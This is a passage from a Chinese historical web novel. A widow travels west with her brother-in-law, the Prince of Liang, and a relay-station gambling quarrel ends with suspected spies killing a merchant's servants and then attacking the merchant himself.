明宜道:“我是想着江寒受伤,与其待在王府无所事事,或许趁此机会出去走走也不是坏事。” 白芷向来爱玩,自是颇以为然:“咱们难得出来一趟,听说敦煌石窟寺的佛像和壁画,乃是天下一绝,若是能去亲眼见一见,那可真是再好不过。”说着又疑惑问,“只是娘子是女子,王爷愿意带你同行么?” 明宜不置可否,只轻笑道:“你继续睡吧,容我再想想。” 白芷在黑暗中不明所以地摸摸头,躺下继续睡了过去。 明宜这一想,便想了一整日。 而这一整日,江寒伤势依旧,鲁刺儿也未有进展,她只得在随李赟西行和留在王府中做选择。 是夜。 抱着一只小木箱的明宜站在翰墨堂门口,看着那槅扇门内,微微摇晃的烛火,半晌没再动。 还是领路的小厮,低声提醒道:“二夫人……” 明宜回神,这才继续跟着人往前走。 “王爷,二夫人来了。”小厮小心翼翼叩响房门。 “进来!” 小厮将门推开,恭恭敬敬对明宜做了个有请的姿势。 明宜点点头,迈步跨过门槛。 房门在身后咯吱一声关上。 屋中只得李赟一人,身着一身绛紫锦袍坐在案后,手持一侧书卷,正借灯静读。 似是读得极专心,听到动静也没有抬头。 明宜上前一步,抱着手中木箱躬身道:“与阿兄问安!” 李赟眉头微微跳动了下,缓缓抬眸朝人看过来,淡声开口:“弟妹可已考虑好?” 明宜望着他那双冷冽的灰眸,并没有马上回答他,只是将木箱放在案几上,道:“这是阿玉这些年的墨宝字画,他临终前让我带给阿兄留作纪念。先前一忙,差点忘了。” 李赟目光落在箱子上,却并未打开,只又问:“弟妹可已考虑好?” 明宜抿抿唇,犹疑片刻,才终于道:“我想随阿兄西行。” 李赟勾了勾嘴角,眸中似有寒星跳动了下,只是语气依旧平淡如常,言简意赅道:“甚好!弟妹回去准备吧,明日用过早膳便出发。” 明宜原本以为他会问自己为何答应,但显然对方并无此打算。 说完这话,便又垂眸看向手中书卷。 明宜嘴唇翕张了下,只得将准备好的那番冠冕堂皇之话吞了回去,作了一揖,便退了出去。 随着房门开阖,案上烛火微微跳动留下,复又归位平静。 李赟手中书卷迟迟未翻页,良久之后,他随手放下书卷,将桌上木箱打,从里面拿出几幅字画。 阿玉从小喜欢写诗作画,这些想来都是他的心爱之物。 阿玉将心爱之物都留给了自己。 自己定也会好好爱惜。 第30章 第 29 章 启程 这一夜, 明宜睡了个好觉。 翌日醒来,只觉难得神清气爽。 白芷因得知要去敦煌,一早上便乐得见眼不见牙, 给明宜梳头时, 忍不住念叨:“没想到王爷竟愿意带娘子随行,他可是去巡察军务招兵募马, 又不是游山玩水!”说着忍不住感慨, “以前老爷与弟子们论政事,可都不让娘子听的, 看来河西果然不如中原那般规矩多。” 明宜低笑一声, 对此颇以为然。 白芷越说越激动:“什么甘州肃州沙洲瓜州, 以前只听过, 这回终于可以眼见为实了。” 明宜也笑:“是啊,以前只在书上见过, 如今可以亲眼看看。” 白芷咕哝道:“先前你急着回京, 我还以为娘子被北狄刺客吓到,不敢在河西久留呢。” 明宜笑了笑没说话,她确实被接连几场刺杀吓到, 不过让她想早点离开的, 还是因为威不可测的小凉王。 这些年她习惯明哲保身, 既然这世上不需要女子有所作为,那她便护好自己就好。 当然,如今决定留下,也是因为李赟。 梳洗过后, 果然有小厮过来请明宜去饮马厅用膳。 “三娘子——”还才刚走到门口,便听到周子炤雀跃的声音。 明宜跨过门槛,与屋内两人行了个礼:“阿兄!齐王殿下!” 李赟轻描淡写点点头:“坐吧。” 明宜走到他右侧的位子坐下, 桌上已经摆好早膳,正是她平日爱吃的胡麻粥、金乳酥??和羊汤。 对面的周子炤笑眯眯道:“我就知道三娘子肯定愿意随我们西行。” 明宜轻笑:“难得出一趟远门,我也想学殿下多游历一些地方开开眼界。”说着又看向李赟,“而且随阿兄一起,确实比独自待在王府安心。” 李赟扯了下嘴角,淡声道:“身为兄长,本王定会竭尽全力护弟妹周全,不过河西到底不比京城安稳,弟妹也切莫太松懈。” 明宜道:“我相信只要阿兄在,我和五殿下定然不会有太多危险。” “那是!”周子炤点头附和道,“我原本早就想去敦煌看佛塑和壁画,也是不敢独自出行,一直等着表兄一起。有表兄在,咱们不用担心,尽管享受沿途美景美食便好。” 李赟不置可否,只轻笑了笑道:“都多吃些,等离开王府,可不是想吃什么就吃什么,白日行路,多只能吃胡饼充饥。” “没错,我可得多吃点肉。”周子炤赶紧点头,拿起一只羊排便啃起来,又瞥向明宜,“三娘子,你也赶紧吃。” 明宜笑了笑,又不动声色瞥了眼李赟,见对方正好整以暇望着自己,这才端起羊汤喝起来。 小凉王这趟西行很低调,虽然有数十侍卫,但并未带长史参军随行,所有人皆穿常服,对外声称商队。 李赟本人亦只穿一身玄色锦袍,腰束蹀躞带,挂算囊和割肉小刀,看着与普通商家公子无甚区别。 出行的马车从外看起来,也颇为简陋,叫人猜不出这是王府车队。 马车总共三架,李赟周子炤明宜各乘一架,明宜的车行在中间,若是遇到刺客劫匪,她倒也还算安全。 与两个月前从京城出发不一样,那时候她一心系在李悆棺椁,只想安全将人送达凉州,并无多余心思欣赏沿路风景。 这回她只带了白芷一人,身上没有了责任,便能全心全意欣赏一路风光。 从凉州城出来后不多久,便见一片广袤绿洲,屋舍渐渐变得稀少,只有零零星星的毡帐,以及游走在绿茵上的大片牛羊马群。 虽然入河西后,明宜已经见过不少这样的场景,却不如这一路的壮阔,以至于一开始的忐忑不安,很快便被这美景消解殆尽,连带心胸都变得疏朗起来。 车队行驶并不快,还在白日休整了三次,以至一天下来,明宜并未感觉到舟车劳顿。 转眼日落西山,感觉到马车减缓,明宜掀开车帘,好奇探头四顾。 原来已行至一处峡谷,谷中乃见一座驿城,隐约已听到喧杂人语传来。 而抬眼望去,满目群山。 明宜随口问车外的护卫:“这可是到了山丹县?” “回二夫人,我们已到甘州山丹,前方便是峡口驿。” 明宜点点头,她在书上看过,峡口乃是甘州凉州之间的一道天然屏障,历朝历代包括如今的大宁,都有在此驻兵设驿,这峡口驿乃是河西重要驿站之一。 思及此,她好奇地看向远处绿莹莹的群山。 与此同时,前方那辆已行至峡口驿门口的马车缓缓停下,李赟从车内跳下,立在车边朝后面看过来 他目光落在那从车窗处探出的女子,虽然戴着男子冠帽,未施粉黛,但一抹斜阳恰好落在那张素白的脸上,像是为女子描了一抹红妆。 一双乌溜溜的杏眼,因为好奇而睁得老大,在夕阳下熠熠生辉。 李赟勾了勾嘴角,待马车行至跟前停下,他走上前亲自将帘子打开。 明宜满眼好奇,一时不察,待下了车,才发觉替自己打帘的是李赟,赶紧作揖道:“有劳阿兄了。” 李赟轻笑了笑:“我见弟妹好像看山看得很出奇。” 明宜指了指东面,问道:“那可是焉支山?” 李赟点头,顺着的手看去:“不错,正是焉支山。” 正说着,一道吊儿郎当的声音从后面传来:“失我焉支山,令我妇女无颜色,失我祁连山,使我六畜不蕃息。” 明宜回头,却见是周子炤正笑嘻嘻走过来。 李赟失笑:“这可是匈奴小调,五郎吟诵只怕不合适。” 周子炤不以为意地挑挑眉,朗声笑道:“虽是匈奴小调,却是提醒我们,这曾被胡狄占去,前有汉将军霍去病封居狼胥收复河西,今有小凉王镇守河西,才叫胡狄不敢轻易进犯。” 李赟不以为然地轻笑一声:“五郎莫要巧言令色,我可比不得冠军侯。” 周子炤啧了声,朝明宜眨眨眼睛:“瞧见没?咱们阿兄真是不解风情。” 明宜被他逗笑,瞧了眼李赟,低声道:“五殿下,这是在外边,咱们可别轻易暴露身份。” “这倒是。”周子炤点点头,说着又招招手,“赶紧进驿站,一整天没喝热茶,我这嗓子眼都快冒烟。” 说着率先朝驿站大步走了去。 李赟摇摇头,朝明宜颇有几分文雅地做了个手势:“弟妹,我们也进去吧。” 因是大驿站,峡口驿的人实在不少,多是商客信使官兵。 明宜一边不动声色打量进进出出的旅客,一边跟着驿夫来来到客房。 “客官有何需要,随时吩咐。” “有劳。” 待驿夫转身将房门,白芷按捺不住激动道:“我刚刚好像听到驿夫说,晚上驿站有胡姬弹琴跳舞,也不知王爷许不许我们去看?” 虽然出门在外穿着男装,但毕竟是女子,混在一群男人中看胡姬,只怕王爷不会答应。 明宜想了想,道:“等用过晚膳我去问问。” 白芷对着手指:“娘子不怕王爷么?说实话,这一日下来,虽然只在休整时见过王爷,但我一想起坊间歌谣的小凉王,就忍不住有点发怵,亏娘子你和他说话,还能面不改色。” 明宜微微一愣。 小凉王诚然可怕,但平心而论,这些日子下来,无论自己如何揣度,对方待自己的礼数都无可挑剔,倒很有几分李悆口中好兄长的架势。 她笑了笑:“王爷镇守一方,在外自然有树立威信,但于我来说,他就是一个兄长。” 白芷点头:“这倒是,王爷待娘子确实很好。”说着咧嘴笑道,“希望待会儿他能同意我们去看胡姬。” 用过晚膳,楼下果然传来鼓乐声声。 白芷挤眉弄眼直朝明宜使眼色,意思是叫她去问李赟能否下楼。 明宜好笑地摇摇头,道:“行,我这就去跟阿兄说一声。” 李赟的房间与她相邻,出门左手边便是。 他正要抬手敲门,却隐约听到周子炤的声音从里面传来。 “表兄,难得出来一次,你闷在房中作何?不过是去楼下吃杯酒看看胡姬跳舞,又不是要你去狎妓?” “我没兴趣,你自己去吧。” “你这人可真是无趣得很。” “自是比不得五郎情趣横生。” 周子炤被噎住的同时,门外的明宜也忍不住低笑出声。 “谁在外边?”李赟的声音忽然从屋内传来。 明宜稍稍正色,低声回道:“阿兄,是我。” “进来吧。” 明宜推门而入。 屋中两人在榻上隔几而坐,几上点着一盏烛火,李赟手中拿着一卷册子。 明宜心道,坊间传闻小凉王勤于政事,宵衣旰食??,眼下看来确实不假。 周子炤见她进来,从榻上站起身,拉长嗓子吊儿郎当道:“三娘子,你要不要下楼去看胡姬舞?” 李赟冷冷瞥他一眼。 明宜轻咳一声,与两人揖了一礼,道:“方才听到楼下鼓乐,想着时日尚早,便打算下楼去瞧瞧热闹,特与阿兄来说一声。” 周子炤双眼一亮,嘿了一声,朝李赟得意地龇牙笑道:“瞧见没?你不去,我与三娘子一起去。” 李赟淡声道:“谁说我不去?” 周子炤一怔。 李赟放下手中册子,施施然起身:“弟妹说得没错,时日尚早,去楼下听听曲也不错。”—— 作者有话说:公路文哈233333【..top】 30-40 第31章 第 30 章 峡口驿 楼下此时楼下大堂银烛台盏, 灯火通明。 丝竹之声不绝于耳,台上舞姬们翩翩起舞,满座宾客开怀畅饮, 一时竟让人忘了这是远离城池的驿站, 而有种身在长安或凉州酒肆的错觉。 中间位置早被人占据,好在角落尚有余位。 几人随着驿夫落座, 要了一壶酒并几样点心。 明宜好奇环顾四周, 整座大堂有十来桌,四五十人, 多是异族面孔, 像他和周子炤这般汉人模样, 倒是少数。 思及此, 她又不动声色瞥了眼李赟,此人汉人皮胡狄骨, 无论是在京城, 还是在河西,似乎都理所当然。 她的视线显然是被李赟察觉,在她默默打量之际, 对方蓦地抬眸朝她看过来。 那有如寒星一样的眸子, 让明宜下意识想要避开, 但又觉欲盖弥彰,干脆坦然与之相对,故作云淡风轻随口道:“这里的胡姬,似乎与凉州城有些不同?” 李赟还未说话, 周子炤先咦了声:“哪里不同?我怎么看不出来?” 明宜顺势转头朝台上看去,道:“衣饰装扮舞姿皆不同,凉州城中胡姬多是粟特人, 但台上这几个胡姬应是波斯人。” 旁边倒酒的驿夫笑呵呵接话道:“郎君好眼力,驿站的胡姬,确实来自波斯。” 周子炤嚯了声,眨眨眼睛,笑道:“我在京城也常去酒肆,见过的胡姬数百,只知哪家酒肆胡姬更美,哪家舞姿更妖娆,从来分不出来自哪里?”说着朝李赟抬抬下巴,“表兄,你能否分清?” 李赟瞥了眼台上胡姬,摇头淡声道:“不能。” 然后又轻飘飘看了眼明宜。 明宜轻笑道:“我也是看四方馆有记录。” 周子炤道:“管他胡姬哪里来,只要跳得好看就行。”说着啧啧两声,“你看那腰肢,真可谓是翩若惊鸿。” 他话音落,堂中忽然爆发一阵鼓掌和吆喝。 原来是台上胡姬正举袖飞旋,那身姿轻如飘雪,莹莹纤腰,似波似浪。 只是堂中多为男子,这吆喝定然是少不了一些轻佻。 明宜蹙了蹙眉头,忽然就生出一股意兴阑珊。 而她对面的李赟,虽然目光望着台上,神色却依旧冷峻淡然,仿佛看的不是美艳胡姬,而是再平常不过的花花草草。 又一曲舞罢。 掌声雷动。 胡姬们款款退下。 那最前排座位,站起一个白衣男子,头上青冠帽插一支金玉簪,腰间蹀躞带环佩叮当,一看便出身富贵。 他面上带了些酡红,应是有了醉意,语气十分爽朗:“诸位,无论你来自东还是西,今晚能在此地相聚,便是缘分。时日尚早,这胡姬舞也看够了,不如寻些乐子,来点打发这漫漫长夜。” 话音落,一个驿夫抱着两只插满羽箭的壶走到他身旁,一脸谄媚道:“康大郎君,您看投壶如何?” “好!”这叫康大郎的男子点头,从腰间取出一枚银饼,“谁愿意来与我比试一场?筹码不论。” 众人一看他出手如此阔绰,立时有人按捺不住道:“我来!” 原本在桌上喝着酒的旅人,一时都兴高采烈围上去看热闹。 “表兄,你去玩么?”周子炤跃跃欲试问道。 李赟轻笑:“没兴趣。” “我就知道。”周子炤撇撇嘴,又展眉一笑,“不过你要是去玩,其他人绲裆袴都得输光。” 李赟乜了眼他,淡声道:“去玩你的吧,别把绲裆袴输光就行。” 明宜忍不住轻笑出声。 周子炤嘿嘿领着一旁的叶六去凑热闹了。 明宜与李赟依旧留在原处,投壶就在中央,稍稍抬头便能瞧见。 第一局已经开始。 明宜正好奇望着,却听对面的李赟轻飘飘开口:“弟妹觉得谁会赢?” 明宜随口道:“我猜是那康大郎。” 李赟继续问:“为何?” 明宜微微一愣,道:“看那康大郎的长相,应是河西人士,穿着打扮定是出自河西商贾大家,想来是昭武九姓的康家。听闻昭武九姓不仅擅经商,还皆通骑射。既然驿夫认得他,应是经常在此下榻,招揽客人玩投壶赌钱只怕也不是一次两次,应是精于此道。” 果不其然,她话音刚落,康大郎已经赢了三箭。 李赟挑挑眉:“看来弟妹猜得没错。” 须臾后,康大郎轻松赢了第一人,虽然对方只出了几个铜钱,但他显然也不并不在意,只将铜钱和自己那枚银饼放在一起,继续当做筹码。 有银钱的吸引,自然不缺人前赴后继,只是都一一败下阵来,连带周子炤也输了一枚银饼,灰溜溜回到座位唉声叹气:“那康大郎什么来头,真是嚣张得很,表兄,要不然你去挫挫他锐气?” 明宜望着投壶处,那康大郎连赢多人,确实满脸张扬,放筹码的银盘上,已经堆了满盘,他显然也并不在意钱财,只是享受这种赢的快感。 眼见没人再敢上前,康大郎环顾四周,发觉墙边一桌三人,一个也没出来挑战,于是展眉一笑,抬手朝那桌一指:“三位客官,可有人要来挑战?” 众人闻言,齐齐朝那桌看去。 那三人是典型高鼻深目的胡商,见到这么多目光全都看过来,面上的警惕一闪而过,还是其中最年长的一位最先反应过来,朝另外两人使了个眼色,才恢复如常。 那年长者站起身,朝康大郎拱拱手:“郎君,我们几人不赌钱,挑战就不必了,祝郎君玩得愉快。” 说这几人就要离席上楼。 然而康大郎却抬步上前,伸手将人拦住,笑盈盈道:“三位来自哪里?” 男人恭恭敬敬拱手回道:“我们来自疏勒。” 康大郎换了口音,叽里咕噜说了几句,显然是疏勒话。 三人相视一眼,还是那年长者笑容可掬用疏勒话回了一句。 说话间,周子炤凑到明宜身侧,低声问:“三娘子,你听得懂么?” 明宜道:“他们在打招呼。” 康大郎实则也只会几句疏勒语,朗声笑着说回大宁话:“不赌钱没事。”说着指了指对方革带下的小刀,“你押这个就行,我赢了,你将这把刀给我,你赢了,不……不用赢,只要你与我打做平手,今晚我赢下的所有钱都给你。” 还真是信心十足啊! “郎君,我们……”男人想要婉拒。但旁边众人却围过来,吆喝着架秧子起哄,康大郎更是抱臂睥睨着几人,显然是不比不行。 男人正犹疑间,康大郎直接伸手将他腰间那把小刀扯了下来。 男人双目一震,他身旁两人也色变,下意识就要上前将刀夺过来,却被男人抬手拦住。 康大郎见他对这小刀颇为看重,挑挑眉头,笑着将拿刀抽出来,然后双眼一亮,爱不释手地摸了摸那锃亮的刀刃:“好刀!” 男人拱拱手,朝他做了个有请的姿势。 康大郎见对方应战,得意地挑挑眉,走到放筹码的桌旁,将手中小刀放上去:“不过今晚之后就属于我了。” 慢条斯理呷着酒看热闹的李赟,微微偏过头,低声道:“弟妹猜猜这局谁会赢?” 明宜还未说话,周子炤已经先插嘴道:“肯定还是康大郎啊?这疏勒胡商要是真擅投壶,也不会坐着不动了。” 李赟挑挑眉看向明宜。 明宜摇头:“我猜不到。” 投壶再次开始,那康大郎依旧发挥稳定,每一箭都稳稳投入壶中。 只是不想那疏勒胡商投出的每一箭也都落入壶中。 十支箭下来,两人竟是打了个平手。 围观的人们顿时兴奋起哄。 得意了整晚的康大郎,自是恼羞成怒,冲男人高声道:“平手不算结束,我们再来一局。” 男人作了一揖道,轻笑道:“君子一言驷马难追,说了一局便是一局,郎君若是想再往,还请找别人,在下便不奉陪了。”说着,便拿过桌上那把小刀挂回腰间,又指了指银盘的钱,“我说过我不赌钱,这些钱我就不拿了。” 说着朝两个同伴用疏勒话道:“我们回房。” 两人点点头,一行人在嘈杂声中离去。 “康大郎,要不然我们再比一局?” 见筹码尚在,有人按捺不住想继续博一回,但康大郎却显然没了兴致,他将筹码抓起来,朝空中一撒,“都拿去!” 堂中顿时因为抢钱乱作一团。 周子炤啧啧道:“这康大郎还挺慷慨啊!” 李赟觑眼看他道:“你不去抢点?” 周子炤嗤了声道:“我好歹姓周,盘缠花完了,还有表兄你接济,能为了一点小钱这么不体面?” 话音刚落,忽然蹭的起身,眨眼间蹿出两三米,脚下用力一踩,然后弯下身,从脚底板下捡起一枚小小的银饼,喜滋滋捧着跑回来,又得意地李赟和明宜扬了扬:“当然啦,本人一向喜欢不劳而获。” 明宜和身旁白芷齐齐噗嗤笑出声。 李赟则是无语地摇摇头,抬手喝下杯中剩下的酒,道:“走,上楼休息,明早还要赶路。” 因着康大郎这一闹,堂中客人也都陆续离开。 回到房中,李赟施施然坐在榻上,静默片刻后,楚飞悄然而入,默默走到他跟前拱手道:“王爷。” “怎么样?这驿站里今晚有什么问题吗?” 楚飞道:“已经暗查所有客人,没发现问题。” “行。”李赟点点头,却又似想到什么似的,道,“你去把二夫人叫过来,我有话问她。” * 楚飞过来敲门时,明宜正坐在桌前看着油灯发呆。 “二夫人,王爷请您去他房里一趟。” 明宜回过神来,微微一怔,眼下已经临近子时,李赟让自己去他房中显然不合礼仪,莫非他也发觉了什么。 她点点头起身,跟着楚飞去了隔壁房间。 楚飞将人带进屋后正要退出去,被李赟抬手制止。 虽然知道周遭布有暗卫,但深夜客栈房中,有第三人在,到底好过孤男寡女共处一室。 “阿兄,您找我有事?” 李赟抬眸轻飘飘看向她:“弟妹对今晚那几个疏勒人有何看法?” 明宜犹疑了下,如实道:“他们说的确实是疏勒话,但我怀疑他们并非寻常胡商。” “哦?为何?因为投壶与康大郎打了个平手?” 明宜摇摇头:“行走东西商道的胡商,大都善骑射会武艺,那疏勒商人会投壶不稀奇,但那几人明显比寻常商客谨小慎微,不过这也只是我的猜测,有没有问题,只怕还要看今晚。” “哦?”李赟饶有兴致地等她继续说下去。 明宜道:“那康大郎心高气傲,被疏勒人落了面子,只怕不会善罢甘休,十有八九会趁人熟睡之时去报复。” “是吗?”李赟双眸微微眯起,若有所思。 明宜继续道:“若是那疏勒人吃了亏,身份大概没问题,但若是……” 李赟道:“你的意思是细作多机警,若是有人闯入,他们十有八九会依照本能,杀人灭口。” “嗯。”明宜点头,又重复一句,“不过这也只是我的猜测。” “无妨。”李赟朝她笑了笑,“舟车劳顿一日,弟妹应该也累了,回房好好休息吧。” 明宜与他作了一揖:“阿兄也早些歇息。” 目送人出了门,李赟这才轻飘飘抬起眼皮,看向立在一旁的楚飞。 楚飞摸摸头,一脸无辜地嘀咕道:“没查出那几人有何问题啊?” 李赟淡声道:“让人好生盯着,若如二夫人所说,当真发生情况,也不要插手,以免打草惊蛇。” “明白。” 这厢明宜刚回到房内,白芷便迎上来好奇问:“娘子,这么晚了王爷叫你去作何?” 明宜摇头,坐回床上:“没事,就随便问了几句话,赶紧睡吧,明早还要赶路。” “哦。”白芷伸伸胳膊,“虽然出远门挺辛苦,但能开眼界长见识,也值了。” 明宜轻笑:“这才刚入甘州,等着我们的见识还多着呢。” “没错。”白芷笑嘻嘻躺上榻,打了两个滚,很快便呼呼睡过去。 明宜听到对方深沉的呼吸,不由得生出一股羡慕。 她并不确定今晚会不会有事发生,若是当真有事发生,李赟又会如何处理? 这驿站是不是会像那日的黑松驿一样血流成河? 她满腹疑虑,但因为白日赶路,又心知有凉王护卫在旁,自己定然安全,于是辗转反侧片刻,到底是没敌过困意,很快也会了周公。 月上中天,子时过半。 峡口驿的旅人都已沉沉睡去,只剩峡谷中的呼呼风声,伴着天上那轮皎月。 两道黑影从一间上房中,悄无声息摸出来,走到角落一扇房门前,拿出小刀轻轻将门闩划开。 这两人正是康大郎的仆从。 那康大郎因丢了面子,对这几个疏勒人怀恨在心,便让随从潜入对方房中,撕毁他们的过所文书。 此时屋中静谧无声,两个仆从借着窗牖的一点月光,见三人一人睡床,两人睡榻。 两人摸到床边,其中一人小心翼翼取下床架的一只包袱,在里面摸了摸,先是摸到两只银饼,放到嘴边咬了咬,然后喜滋滋塞入自己袖袋中,又在那包袱中摸了摸果然摸到一份文书,正要撕毁,忽然觉得脖颈一凉。 转头一看,只见同伴睁大眼睛望着他,下一刻,便觉脸上一热,是同伴的血溅了过来。 他刚要张嘴呼叫,便被一只手捂住,脖颈上冰人的刀刃,没入了他温热的喉咙,呜咽着喘了两下,便彻底断了气。 “把尸首处理了,别被人发现。” 开口的正是与康大郎比投壶的那男子,他将手中匕首上的血,在康家仆从衣服上擦了擦,脸上露出一丝烦躁。 * 明宜被外面的喧哗吵醒时,天空还未露鱼肚白,她昏昏沉沉地掀开帷帐,见白芷正掀了点门缝往外瞧,咦了一声,随口问道:“发生何事了?” 白芷回道:“听着好像是那康大郎的随从不见了,他正让驿夫一间间寻人。” 明宜蹙了蹙眉头,披上衣裳刚下床,外面便有人敲门:“驿馆有人失踪,我们需检查各房,还请客官行个方便?” 白芷挡在门口不愿让人进:“丢了人关我们何事?凭何大半夜扰人清梦?” 明宜却是走上前:“让他们进来吧。” 那驿夫忙朝她作了一揖,躬身钻进了屋,床脚桌下扫了一遍,确定没藏人,又才拱手退了出去。 此时走廊已经挤满了被吵醒的旅行,有人抱怨被扰了清梦,有人则好奇看究竟。 隔壁的李赟也抱臂施施然站在门口,冷眼望着吵吵闹闹的众人。 与此同时,那康大郎正在角落那间房门口,指着门内的人高声道:“你们将我的人藏去了哪里?快些如实交代,不然我们就去官府说清楚。” “康郎君,房间已经叫你搜过,我们素不相识,缘何要藏你的仆从?”那疏勒人好声好气道。 康大郎面不改色道:“难得遇到与我投壶打作平手的人,我便让仆从请几位来我房中喝杯酒,哪知两人一去不回,不是你们还会是谁?” “回康郎君,我们三人一直在房中睡觉,并未听到有人敲门。况且真有人敲门,旁边客官和夜值的驿夫也应能听到。” “是啊!”周围客人连连附和。 “康郎君,小的确实未曾听到敲门声。”一个驿族打扮的男子唯唯诺诺朝康大郎拱拱手。 康大郎一时噎住。 有人不满道:“康大郎,你不会是投壶输了不甘心,故意大半夜找茬吧,你不睡觉,我们还要睡呢。” 说这话的正是被扰了清梦一肚子怨气的齐王殿下。 他这话落音,便又有人附和:“是啊,你说仆从不见了,会不会是对你这个主子不满,趁夜黑跑了。” “对啊,又不是美人,谁要藏你两个仆从?” 康大郎左右环顾,脸上青一阵白一阵,最终袖子一甩,冲那门内人道:“你们等着瞧!” 说罢,怒气冲冲越过众人蹭蹭往楼下跑去。 驿长赶紧跟上好声好气道:“康郎君,这天还没亮,您要去作何?” 康大郎怒道:“我要去报官。” 驿长道:“康郎君您先别急,峡谷驿进出口有兵卒守卫,大活人也不可能凭空消失,我们还在找,您再等等,至少等天亮了再说。” 康大郎似乎是犹疑了下,点头:“行,那我就等到天亮,你们不给我一个交代,我便去叫山丹县令来为我做主,你也知道县令乃是我族兄。” 驿长笑呵呵点头,心中却是不以为然。 丢的又不是女人孩子,两个男人不见,指不定是不满主子,自己跑了,这还赖得上驿站和旁的客人? 无奈康家在甘州是大族,他也不敢随便将人得罪。 康大郎气哼哼回了房。 驿长朝围观的众人拱拱手:“打扰各位客官休息了,为给诸位赔不是,明早早膳全部免费。” 众客人抱怨着各自回房。 明宜下意识看向李赟。 对方轻飘飘对上她的目光,微微挑了下眉头,一言不发地转身回了房。 明宜看不出对方心思,也不好去问,只得按下好奇,先回了房间。 白芷咯吱一声将门关上,打着哈欠道:“这个康大郎真是烦人,这么晚把全部人吵醒,依我看仆从不见,就是受不了他偷偷跑了。” 明宜失笑。 她也没睡好,不过虽然不知发生了何事,也不知李赟做了什么,看他那模样,应是一切都在掌握中。 思及此,她也打了个哈欠,躺回床上继续补觉。 再睁眼已是天光大亮。 “娘子,王爷那边传话让下楼用早膳。”白芷端了水过来笑眯眯道,“今日早膳不用钱哦。” 明宜笑了笑,又想到什么似的问:“那康大郎还在闹吗?” 白芷摇头:“听说那失踪的仆从还没下落,毕竟没证据,他也不能平白无故拿那几个疏勒人怎样。” 明宜若有所思点点头,梳洗之后,便跟着驿夫下了楼。 李赟和周子炤已经在大堂坐定,周围坐了几个常服打扮的侍卫,但并未见到楚飞。 明宜一边走过去,一边默默打量了眼周遭。 那三个疏勒人依旧坐在角落,桌上放着包袱,显然是准备用过早膳便离开。 康大郎与一个仆从坐在几人邻桌,虽未说话,但看得出气氛并不好,那康大郎的一双眼睛,时不时就朝几人瞟,似是恨不得将人瞪出几个洞来。 “三娘子,你来了,这顿早膳咱们可得多吃点,不然赶路有没得吃了。”周子炤招呼明宜坐下,又笑道,“当然,最重要是不用钱。” 明宜看他迫不及待咬下一口馕饼,忍不住轻笑出声,又拱手朝两人行了个礼:“阿兄表兄晨安。” 在出行前,周子炤就特意交代,在外面要称呼他表兄,绝不能再叫五殿下。 事实上,他作为李悆表兄,自己也确实该叫他一声表兄。 “坐吧。”李赟朝她点点头淡声道。 明宜坐下,低声问:“昨晚?” 李赟垂眸道:“先用膳。” “哦。” 周子炤眨眨眼睛看向明宜,一脸莫名:“昨晚怎么了?” 明宜:“表兄,先用膳。” 周子炤:“……” 第32章 第 31 章 谍子 正嚼着一口羊肉包子的周子炤被噎了下, 狐疑地看了看两人,见两人都神色如常,也没继续问, 只撇撇嘴, 继续大快朵颐。 李赟施施然喝了口羊汤,冷不丁淡声开口:“弟妹昨晚猜得不错。” 周子炤闻言又是一脸疑惑抬头:“嗯?” 可惜他的好表兄并未理会他眼中的询问。 明宜自是知道小凉王在说什么, 虽然还不清楚发生了何事, 不过以昨晚康大郎闹出阵仗,她也猜到了个大概。 想了想, 她小声问:“阿兄知道他们是什么人? ” “尚不清楚。” “不是。”周子炤用力吞下口中包子, “你俩在这打哑谜呢?” 李赟道:“食不言寝不语。” 说着, 便点头继续喝汤, 一副不再说话的架势。 周子炤:“???” 包子已经下肚,却好像还是噎在了喉间。 明宜笑着给他斟了一杯茶水, 轻笑问:“表兄, 你昨晚睡得可好?” 周子炤端起茶杯喝了口,摆摆手道:“别提了,被那——”说到这里, 他转过头瞥了眼不远处的康大郎, 压低声音, “姓康的扰了清梦,好半晌才入睡,天刚亮又被表兄叫醒,这会儿还困着呢。” 为了证明自己所言非虚, 还专门打了个大哈欠。 只是这个哈欠还未打完,康大郎那边却是吵起来。 “康郎君,您这是作何?” 原来是那三个疏勒人用完早膳, 拎着包袱准备离开,却被康大郎拦住。 康大郎道:“我的两个仆从还未寻着,你们不能走!” “您的仆从失踪,与我们何干?你无凭无据拦着我们,是不是太无道理?”那疏勒人沉下脸道,“我们有要事在身,还请康郎君别耽误我们赶路。” 驿长也忙过来打圆场:“康郎君,您那两位仆从下落不明,确实看不出与这几位客官有关系。” 周围人纷纷帮腔,埋怨康大郎不讲道理。 康大郎面红耳赤,心知自己仆从失踪,定是这几人所为,偏偏自己拿不出真凭实据,若当真让这几人离开,自己那便是吃了哑巴亏。 但他康大郎如何能吃哑巴亏? 只见他眼珠子一转,忽然朝驿长板起脸,侃然正色道:“驿长,你可知你放走这几人,会有何后果?” 驿长果真被他这表情唬住,支支吾吾道:“康……郎君这是何意?” 康大郎嘴角一勾,眯眼看向那三人,一字一句道:“因为这三人乃是北狄谍子。” 三人面色一变,还是那年长的最为从容,很快恢复如常,笑着拱手道:“大家在商路上行走都不容易,不过是投壶输了一局,康郎君何故要出此恶言?” 周遭的人也连连附和。 然而康大郎却没再被绕进去,反倒是像抓住什么命门一样,越发一脸笃定地高声道:“那我便实话实说了,昨晚我的两个仆从去他们房间,并非是请人喝酒,而是我怀疑他们是谍子,两人依我之命悄悄去探查,所以未曾有人听到动静,哪知二人一去不回,可见是因为探查出问题被他们灭了口。” 三个疏勒人脸色已然变得越发不好。 康大郎看向驿长:“驿站常有谍子出没,我听闻抓到一个谍子赏金百两,记功一桩。驿长大人当真要放过这个升官发财的好机会?” 驿长见他如此笃定,一时没了底。 康大郎继续道:“驿长在犹豫甚么?让人将他们全身上下搜一遍即可查明真相,应该不为难吧?” 坐在桌上看热闹的周子炤咕哝道:“这康大郎真是没完没了了。” 明宜却是看向李赟,只见对方那张俊美的脸,已然变得阴沉,显然也是对康大郎很是不满。 只是这不满,与周子炤的埋怨并不相同。 驿长犹疑片刻,看了看满脸得意的康大郎,又看向面色已然冷沉的疏勒人,眯了眯眼抬手一挥:“来人,将这三位客官带去后院仔细搜查!” 两个驿夫走上来,对疏勒了人做个有请的手势。 三人意味不明地看了眼康大郎,看似是要跟着驿夫往里走。 然而变故就在此发生。 只见其中一个疏勒人忽然从腰间抽出一把短刀,蓦地朝康大郎一挥。 康大郎似乎还不知发生了何事,只本能低头,却见鲜血从脖子汩汩涌出。 他想张口大叫,然而却没发出任何声音。 “快抓住他们!” 